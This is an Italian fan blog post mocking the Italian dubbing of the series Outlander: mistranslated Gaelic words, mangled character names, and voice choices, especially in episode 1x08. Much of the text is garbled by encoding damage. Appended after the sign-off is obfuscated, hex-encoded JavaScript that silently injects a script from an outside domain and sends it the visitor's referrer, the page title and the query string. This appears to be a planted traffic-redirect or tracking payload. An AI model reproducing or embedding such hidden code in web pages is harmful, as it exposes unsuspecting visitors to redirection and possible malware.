Le lamentele di una Sassenach: quando il doppiaggio A? un disastro

A grande richiesta, eccomi qui a trascrivere le mie lamentele/la mia recensione riguardo le puntate in italiano.A�Ammetto che questa serie televisiva la��ho scoperta tramite una��amica e che non fossi a conoscenza neanche dei libri.

Inizialmente ero piuttosto scettica al riguardo, eppure A? cambiato tutto quando ho sentito le musiche, la��ambientazioneA�e, SOPRATTUTTO, le voci. Di queste ultime si salvano, a mio parere, Dougal, Geillis e Frank/BJ.A�La prima cosa che mi ha colpito A? stata la voce di Caitriona. Una voce che trovo a dir poco stupenda, adatta perA�raccontare. GiA� da quel a�?People disappear all the timea��a�? mi sono ritrovata a dire a�?oddio, amo questa donna!a�? tanto cheA�ormai metto quella frase ovunque quando sento la traduzione in italiano. Oh, beha�� confesso che amo tantissimo ancheA�la sua risata e ora mi si dirA� a�?che ca��entra mo la risata?a�?. Capirete piA? avanti.

Sam

Che dire di lui? Ragazzi e ragazze, uomini e donne di ogni etA�a�� come si fa a dire qualcosa di negativo ad unaA�voce del genere? La prima volta che la��ho sentita, nel suo perfetto e sbavoso accento scozzese, sono rimasta a boccaA�aperta e mi si sono fatti gli occhi a cuoricino. Una persona che a solo sentirlo parlare dici

a�?ok, sA�a�� dimmi cosa devo fareA�e io lo faccioa�?.

Anche gli altri personaggi hanno voci meravigliose, a partire da colei che interpreta Mrs. Fitz, Annette Badland.

Ora, voi mi direte ancora una volta a�?ok, ma che vuoi da noi?a�?

Bene, eccoci arrivati al puntoa�� beh, non proprio. Datemi ancora un secondino che vi spiego il perchA� sono arrivataA�quasi a fustigarmi.

Tutto A? iniziato con il semplice fatto che, da fanatica del telefilm e dei libri, dovevo convertire mia madre a guardare, aA�morire con me sbavando pure lei. Dunque eccoci qui a guardare le puntate in italiano.

Un disastro TOTALE fin dalla��inizio!

Traduzioni pessime, traduzioni dal gaelico delle parti fondamentali e nomi storpiatiA�a�� ma, andando avanti speravo migliorasse, soprattutto dopo che sono state fatte le dovute segnalazioni e la risposta A?A�stata alquanto discutibile. Passi quando serve per il labiale, ma in molte cose a�� quelle fondamentali a�� non serve.

a�? “Aye“, il fior fiore della Scozia in un banalissimo “SA�”.

a�? “Sassenach“, una parola che ormai amo davvero, una parola che detta da Sam ti fa sbavare fino a creare un loch a��A�sA�, lo so che A? cosA� ogni volta che parla e ancora di piA? quando gaelichelizza a��, diventa un banalissimo insultoA�”SASSONE”.

a�? “Jesus H. Roosevelt Christ” che diventa prima uno sciocco “ACCIDENTI TUTTI QUESTI NODI”. Perbacco, per una cheA�inveisce anche contro San Paolo, A? proprio il repertorio giusto. Ma non finisce qui perchA� ricompare la stessa frase maA�in realtA� Claire si trasforma in Ygritte mentre gli uomini diventano tanti GiosnA?, “NON SAPETE DI COSA STOA�PARLANDO”.

a�? “Murtagh” diventa “MARTAGH/MERDAGH”. “Geillis“, decidiamo di levare lettere, “GHILIS”. “Loghaire“, dallaA�pronuncia “Liiri”, diventa “LERI”. “Jamie“, che si pronuncia “Gemi”, si trasforma nell’incestuoso Lannister diventandoA�”GEIMI”.

a�? Le battute di Jamie doppiate non fanno ridere neanche i pagliacci.

a�? Frasi che in inglese sono innocenti mentre in italiano sono doppi sensi assurdi come quello delle piante nella 1×02.

“Ho scoperto una forma di piacere nel toccare di nuovo cose che crescono e ho sentito la soddisfazione nell’aiutarle aA�maturare”.

Wow… astinenza, eh?

a�? “Ye need not be scared of me nor anyone else here, as long as I am with you“, in inglese ti cade la mandibola aiA�piedi e compaiono gli occhi a forma di cuore e a molla. Dove devo firmare per il contratto? In italiano, invece, ti vieneA�da dire “ehm… nessuno te l’ha chiesto. SciA?, pussa via!”

a�? “Gathering” da “Adunanza” diventa un misero “RADUNO”.

a�? “Je suis prest“, oddio una sincope. Anche Munch ha raggiunto i decibel nell’urlo.

a�? “Laird“, secondo me qui stavano andando a tentativi per provare a vincere qualcosa, facendolo diventareA�”LERD/LARD/LIRD/LORD/LURD”. Magari qualcuno no, ma sono sicura che l’hanno proposto.

a�? “Watch” da semplice “Guardia” a “RONDA”.

a�? Non dimentichiamoci quanto si lamenta Jamie, tanto da sembrare mammoletta, e neanche i continuiA�sospiri/gemiti/ansiti di Claire che pare in astinenza da secoli che solo il respiro di un uomo la fa sentir male.

Come rovinare una serie

Ad ogni puntata ho detto a�?magari stavolta non ci sarA� nulla da criticarea�? e la��ho pensato anche questa volta, con laA�1×08.

Mai pensiero fu piA? sbagliato a�� anche se ammetto che stava iniziando bene a�� ed ecco perchA�.

Tralasciando le voci discutibili a�� e quella di Claire sta diventando passabile a differenza di quella di Jamie che spinge iA�neuroni a suicidarsi uno dopo la��altro a�� si parte da uno storpiamento di cognome con aggiunta di accento: Hugh MunroA�diventa Hugh “MANRA�“.

Ora io mi domando e dico: cari doppiatori, stavolta non si tratta di adattamento al labiale, nonA�si tratta di produzione. Che problema ca��era a lasciare cosA� come era? No, perchA� onestamente siamo in Italia, non inA�Francia, quindi non ca��era bisogno di accentare nulla.

Munro

Eccoci arrivati al punto sopra citato: la risata di Caitriona. Ca��A? una scena in cui sono impegnati ad amoreggiare e JamieA�si comporta da amorevole idiota a�� che in italiano ti viene da levare la��aggettivo amorevole a�� dicendo cose sdolcinate. Ea��A�la scena in cui vengono bloccati da una coppia di Giubbe Rosse in astinenza.

Ma primo di questa parte, Claire scoppia aA�ridere ea�� doppiano anche quella. Immagino che lA� sia stata una scena del tipo

a�?A? sempre stata un poa�� scema questaA�Claire, non possiamo mica lasciare la risata sguaiata ma straordinaria di Caitriona con cui si sta mezza��ora a ridere.A�Doppiamo anche questa, cosA� rimane stupidaa�?.

Siete riusciti perfettamente nella��intento, in un modo in cui neanche ilA�Loghaire, nella sua stupiditA�, sarebbe riuscita a fare. Avete superato pure quel livello.

VabbA? succede quel che succede e alla fine Jamie la prende e la porta sulla collinetta dove vomita addosso a ClaireA�tutto il suo senso di colpa. Con la voce di Sam ti viene da dire

a�?ma no! Mica era colpa tua, avevi una pistola puntataA�alla tempiaa��a�?,

con la voce di sto povero cristo ti viene da dire

a�?Claire, riprendi il tuo Sgian Dubh e conficcaglielo nellaA�giugularea�� non lo gettare perA?, perchA� poi ti servirA� nuovamentea�?.

Comunque sia, mentre vomita il suo senso di colpa,A�ad un certo punto la chiama a�?Mo Nighean Donna�?, significato spiegato nella��episodio precedente. Ma non qui, qui luiA�rovina tutto chiamandola a�?AMORE MIOa�?.

Ecco Claire, puoi riprendere il pugnale e mozzargli la linguaa�� ancora nonA�gettarlo perA?. Dunque, che problema avevate nella��inserire questa parte? Ma va bene, non A? stato messo nulla inA�gaelico tranne le parti dei lunghi discorsi dove si puA? dire solo a�?chi vuole intendere, intendaa�?.

Ok, ci sta ma non ci sta.

Ora Claire si deve munire nuovamente di sgian dubh. a�?Ita��s shocka�� Ia��m going into shock. Ita��s alright.a�?, pronunciato daA�una donna ferma e sicura, nonostante lo shock giustificato, diventa a�?Ea�� LA TENSIONEa�� STO PER SVENIRE. DEVOA�STARE TRANQUILLAa�?.

Nonostante avessi visto la puntata in inglese giA� sei volte circa, in questo momento miA�aspettavo che portasse una mano alla fronte e la��altra al petto e si lasciasse cadere alla��indietro con un sospirato a�?oh!a�?.

Ma no, non A? abbastanza. Dopo un Errol Flynn che in Inghilterra a�?swinging on a ropea�? (oscillante su una corda) mentreA�in Italia finisce per andare alla��arrembaggio, ecco che Claire sta per morire. Vai Claire, usa il pugnale su di te prima cheA�collassi!

Ebbene sA�, a�?Ita��s shocka�� ita��s all righta�? diventa a�?Ea�� UN COLLASSO, ORA PASSAa�?. Doppiatori, uno shock non A? unA�collasso. Nel libro Claire stava per soffocare nella sua stessa sguaiata risata per lo shock, non stava per collassare! EA�potevate lasciarlo benissimo cosA� perchA� andava bene il termine.

Collasso

Dopo tutto questo trambusto, in cui Claire non si A? sgozzata in malo modo a�� e non ha ucciso in malo modo neancheA�Jamie a��, ecco che ci si avvia alla chiusura. Qualche manciata di minuti prima, ecco che decide di disubbidire al suoA�amato sposo e, dopo aver visto cosa ha davanti agli occhi, decide di scappare e lasciare il povero Willie da solo con leA�sue faccende personali, lontano 50 iarde e sottovento.

Aye, 50 iarde fa molto piA? figo rispetto a 40 metri. No,A�sembrate solo ancora piA? stupidi. Comunque, alla fine, ecco che Claire arriva a Craigh na Dun ma, 200 anni piA? tardiA�quello stesso giorno, ecco che ci va anche Frank e decide di ascoltare ciA? che gli aveva detto Mrs Graham.

Dunque,A�tentando la sorte, la chiama. a�?CLEEEEEEEEEEEEEEEEEEEERa�?, santo cielo dovete sentirla! Avete presente quandoA�bevete la Coca Cola ma non A? abbastanza gasata per fare un ruttino come si deve? Ecco, sembrava una cosa delA�genere. Ma Claire non A? andata affatto meglio, anzi. a�?FREEEEEEEEEEEEEEENKa�? che sembra piA? un a�?FRIIIIIIINKa�?. LeA�hanno sicuramente pestato i piedi!

frenkcler

Ma ora arriva la meraviglia delle meravigliea�� no, non ca��A? niente di meraviglioso e anzi, un consiglio. Donne, se avete iA�capelli sciolti legateli: il tanto che state a scioglierli A? giA� terminata la scena. Uomini, state lontani dagli spigolia��A�potrebbero servirvi. “Help, somebody! Help me!” da disperato diventa uno stridulo “NUAAAAAAAAAAAAAAH!A�QUALCUNO MI AIUTI PER FAVORE! VI PREGO!”.

E qui non ca��A? nulla da dire, anche il caporale Hawkins stava cercandoA�una via di fuga ma in realtA� A? andato a chiamare Voldemort per chiedergli se Nagini era disponibile. Nagini, la cena!

Con Claire si conclude la��oscenitA� della traduzione ma A? con Jamie che finisce il tutto. Se per un “I’ll thank ye to takeA�your hands off my wife” si finiva per sbavare e con gli occhi a cuoricino a�� anche voi, uomini, amate la sua vocea�� nonA�cercate di negarlo a��, ora tutti si muovono in massa per spingere Jamie fuori dalla finestra e farlo cadere giA?a�� pazienzaA�se muore. PUAH! PUAH! PUAH! Lavategli la lingua con il fuocoa�� anche se in realtA� Claire avrebbe dovuto mozzarglielaA�prima.

Thenk

In conclusione, con il doppiaggio in italiano mi hanno fatto cadere le braccia con Claire e Jamie A? diventato uno stupidoA�insignificante tanto che mi viene da dire a�?Claire, perchA� hai lasciato un uomo come Frank per un imbecille comeA�Jamie?a�?, il che A? davvero tutto dire dato che per me esiste solo Jamie/Sam e non mi va giA? Frank.

Alla fine della serie si scoprirA� che in realtA� non A? stato Neville Paciock ad uccidere Nagini ma semplicemente ha finitoA�per mangiare troppo fino a scoppiare. Sono stati quelli della Fox ad ucciderla con i pasti gratis per la��intera serie. NonA�solo la cena ma poi anche il pranzo, lo spuntino della mezzanotte, la colazionea�� stava per sdoppiarsi in due eA�diventare Merry e Pipino.

lotr63

Spero che per 1×09 non ci sia bisogno di scrivere poemia�� sicuramente ne saranno grati tutti!

DINNA FASH YERSELF AGUS SLAINTE MHATH!

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}